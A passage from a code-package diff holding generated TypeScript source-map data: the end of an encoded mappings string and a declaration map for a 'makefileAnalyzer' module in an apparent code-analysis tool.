,IAAI,iBAAiB,CAAC,GAAG,CAAC,MAAM,CAAC,MAAM,CAAC,IAAI,CAAC,EAAE,CAAC;4BACrF,MAAM,QAAQ,GAAG,MAAM,CAAC,QAAQ,CAAC,IAAI,IAAI,CAAC,MAAM,CAAC,QAAQ,CAAC,KAAK,CAAC,CAAC;4BACjE,IAAI,CAAC,MAAM,EAAE,OAAO,EAAE,UAAU,EAAE,WAAW,CAAC,CAAC,QAAQ,CAAC,QAAQ,CAAC,EAAE,CAAC;gCAClE,QAAQ,CAAC,IAAI,CAAC,gBAAgB,CAAC,QAAQ,EAAE,eAAe,EAAE,iBAAiB,QAAQ,WAAW,CAAC,CAAC,CAAC;4BACnG,CAAC;wBACH,CAAC;oBACH,CAAC;gBACH,CAAC;gBAED,oBAAoB;gBACpB,IAAI,IAAI,CAAC,IAAI,KAAK,eAAe,IAAI,IAAI,CAAC,MAAM,CAAC,IAAI,KAAK,YAAY,IAAI,IAAI,CAAC,MAAM,CAAC,IAAI,KAAK,UAAU,EAAE,CAAC;oBAC1G,QAAQ,CAAC,IAAI,CAAC,gBAAgB,CAAC,QAAQ,EAAE,sBAAsB,EAAE,sCAAsC,CAAC,CAAC,CAAC;gBAC5G,CAAC;gBAED,KAAK,MAAM,GAAG,IAAI,IAAI,EAAE,CAAC;oBACvB,IAAI,IAAI,CAAC,GAAG,CAAC,IAAI,OAAO,IAAI,CAAC,GAAG,CAAC,KAAK,QAAQ,EAAE,CAAC;wBAC/C,IAAI,KAAK,CAAC,OAAO,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC,EAAE,CAAC;4BAC7B,IAAI,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC,IAAI,CAAC,CAAC;wBAC1B,CAAC;6BAAM,CAAC;4BACN,IAAI,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC,CAAC;wBAClB,CAAC;oBACH,CAAC;gBACH,CAAC;YACH,CAAC,CAAC;YAEF,IAAI,CAAC,GAAG,CAAC,CAAC;QAEZ,CAAC;QAAC,MAAM,CAAC;YACP,iEAAiE;QACnE,CAAC;IACH,CAAC;IAED,gCAAgC;IAChC,MAAM,MAAM,GAAG,EAAE,CAAC;IAClB,MAAM,IAAI,GAAG,IAAI,GAAG,EAAE,CAAC;IACvB,KAAK,MAAM,CAAC,IAAI,QAAQ,EAAE,CAAC;QACzB,MAAM,IAAI,GAAG,CAAC,CAAC,IAAI,GAAG,GAAG,GAAG,CAAC,CAAC,IAAI,CAAC,EAAE,CAAC;QACtC,IAAI,CAAC,IAAI,CAAC,GAAG,CAAC,IAAI,CAAC,EAAE,CAAC;YACpB,IAAI,CAAC,GAAG,CAAC,IAAI,CAAC,CAAC;YACf,MAAM,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;QACjB,CAAC;IACH,CAAC;IAED,OAAO,MAAM,CAAC;AAChB,CAAC;AAED,SAAS,gBAAgB,CAAC,YAAoB,EAAE,MAAc,EAAE,IAAY;IAC1E,mFAAmF;IACnF,MAAM,CAAC,GAAG,YAAY,CAAC,KAAK,CAAC,cAAI,CAAC,GAAG,CAAC,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,CAAC,IAAI,CAAC,cAAI,CAAC,GAAG,CAAC,CAAC;IAChE,OAAO;QACL,IAAI,EAAE,CAAC,EAAE,oEAAoE;QAC7E,UAAU,EAAE,WAAW;QACvB,OAAO,EAAE,IAAI;QACb,IAAI,EAAE;YACJ,EAAE,EAAE,MAAM;YACV,WAAW,EAAE,IAAI;YACjB,QAAQ,EAAE,MAAM;YAChB,QAAQ,EAAE,oBAAoB;SAC/B;QACD,SAAS,EAAE,KAAK;QAChB,MAAM,EAAE,qCAAqC;KAC9C,CAAC;AACJ,CAAC"}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"makefileAnalyzer.d.ts","sourceRoot":"","sources":["../../../src/analyzers/makefileAnalyzer.ts"],"names":[],"mappings":"AAIA,OAAO,KAAK,EAAE,OAAO,EAAE,WAAW,EAAE,MAAM,UAAU,CAAC;AAErD,wBAAsB,gBAAgB,CAAC,QAAQ,EAAE,MAAM,EAAE,IAAI,CAAC,EAAE,WAAW,GAAG,OAAO,CAAC,OAAO,EAAE,CAAC,CA8D/F"}
|